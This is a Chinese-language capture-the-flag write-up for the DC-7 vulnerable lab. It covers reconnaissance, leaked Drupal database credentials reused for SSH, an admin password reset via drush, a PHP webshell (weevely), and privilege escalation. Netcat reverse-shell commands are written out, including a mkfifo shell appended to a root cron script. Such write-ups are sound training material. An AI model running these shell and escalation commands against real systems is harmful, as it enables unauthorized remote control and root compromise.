【DC】DC-7
kali:192.168.223.131
target:192.168.223.160
首先确定目标IP为192.168.223.160
arp-scan -l
nmap扫描开放端口,发现开启22(SSH)、80(HTTP)
//查看是否存活
nmap -sP 192.168.223.160
//主动扫描
nmap -A -p- 192.168.223.160
访问一下,是一个drupal,这里看到左下角显示了作者
去GitHub搜一下,有这个人,同时将这些文件下载下来,此时我们可以看到整个网站的结构
里面的config.php中记录了他的数据库的用户名和密码为dc7user和MdR3xOgB7#dW
我们猜测数据库账号密码和SSH密码统一,尝试一下,可以登陆他的服务器
当前目录下有一个backups的文件夹,里面有两个gpg格式的加密文件,先放着,然后回去看到有一个mbox文件,打开发现里面说运行了/opt/scripts/backups.sh的文件,之后才生成gpg两个文件
前往该文件,cat一下,根据代码判断是数据库的备份命令,可能是定时启动方便管理员管理,看到网站目录在/var/www/html
由于是drupal搭建且backups.sh文件中出现drush命令,百度一下是修改管理员密码,使用drush进行修改,success
drush user-password admin --password="123456"
进入网站后台,在content添加文章,添加Basic page,在里面允许编辑代码,但是不允许写入php,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入,通过Extend安装模块,将该模块装进去
上传到网站,再Extend—list中将其打勾,此时可以在content中编写php代码
生成木马对目标服务器进行控制,之前都是weevely控制,但是它不太稳定,换成nc,然后进入目标服务器
weevely generate 123456 shell.php
weevely http://192.168.223.160/node/5 123456
nc -lvnp 9988
nc -e /bin/bash 192.168.223.131 9988
重新进入/opt/scripts,backups.sh的权限是root,向其中追加命令达到提权
//相当于创建一个管道让我们去输出
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.223.131 1234 > /tmp/f" >> backups.sh
//开启监听
nc -lvnp 1234
//运行backups.sh
./backups.sh
但是此时发现不是root权限
思考一下,原因在于我们执行的时候是www权限,而只有在计划任务定时执行时才是root权限,所以重新监听,等待上线
在等待的过程中,重新通过ssh连接dc7user用户,注意到有一封邮件
通过邮件判断出执行每次计划任务是15min,不是很久,所以就慢慢等啦
此时反弹shell,获得root权限,进入root目录,拿到flag
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16100129.html